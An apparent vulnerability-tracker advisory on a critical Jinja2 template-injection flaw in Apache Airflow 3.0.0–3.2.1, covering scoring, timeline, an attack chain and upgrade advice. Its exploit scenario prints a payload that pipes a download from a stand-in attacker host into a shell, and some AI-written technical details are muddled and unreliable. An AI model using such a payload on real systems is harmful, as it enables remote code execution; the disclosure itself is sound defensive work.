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Apache Airflow EUVD-2026-33591

| CVE-2026-42252 CRITICAL
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
9.1
CVSS 3.1
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CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

6
Source Code Evidence Fetched
Jun 02, 2026 - 17:24 vuln.today
Analysis Generated
Jun 02, 2026 - 17:24 vuln.today
CVSS changed
Jun 02, 2026 - 17:22 NVD
9.1 (CRITICAL)
Patch available
Jun 01, 2026 - 10:01 EUVD
CVE Published
May 31, 2026 - 12:45 nvd
CRITICAL 9.1
CVE Published
May 31, 2026 - 12:45 nvd
UNKNOWN (no severity yet)

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 pypi packages depend on apache-airflow (1 direct, 2 indirect)

Ecosystem-wide dependent count for version 3.0.0.

Description PRE-NVD

Disclosed via oss-security. NVD scoring and full description are pending.

AnalysisAI

Server-side template injection in Apache Airflow versions 3.0.0 through 3.2.1 allows low-privilege authenticated users to inject Jinja2 expressions via dag_run.conf parameters that are unsafely interpolated into BashOperator commands, leading to arbitrary command execution in the worker context. The flaw carries a 9.1 CVSS but EPSS sits at just 0.03% (9th percentile), and there is no public exploit identified at time of analysis despite a vendor patch being available. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Airflow UI/API
Delivery
Identify DAG using vulnerable BashOperator template
Exploit
Trigger DAG run with Jinja2 payload in conf
Execution
Worker renders template and executes injected expression
Persist
Shell command runs as Airflow worker user
Impact
Pivot to secrets, connections, or worker host

Vulnerability AssessmentAI

Exploitation Exploitation requires (1) an Airflow deployment running 3.0.0 through 3.2.1, (2) at least one DAG authored with BashOperator (or comparable templated operator) that interpolates `dag_run.conf` values directly into its `bash_command` field - the specific anti-pattern shown in the patched documentation, (3) an authenticated Airflow account with permission to trigger that DAG with a custom conf payload (the description explicitly describes this as a 'low-privilege user pattern', which contradicts the CVSS PR:N rating and should be verified with the vendor advisory). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Signals here are notably conflicting. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Airflow user with permission to trigger a DAG that uses the unsafe BashOperator pattern submits a DAG run with a crafted conf payload such as `{"conf1": "{{ lookup('pipe', 'curl attacker.com | sh') }}"}` or a Jinja2 expression invoking `os.popen`. When the worker renders the bash_command template, the injected expression executes in the Jinja2 sandbox and resulting shell metacharacters run with the privileges of the Airflow worker process. …
Remediation Upgrade to Apache Airflow 3.2.2 or later, which is the first release outside the affected range per the EUVD record; patch is available from the vendor and the upstream fix is tracked in https://github.com/apache/airflow/pull/64129. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Inventory all Apache Airflow deployments running versions 3.0.0-3.2.1 and assess user access; restrict permissions for dag_run.conf parameter modification if unable to patch immediately. …

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EUVD-2026-33591 vulnerability details – vuln.today

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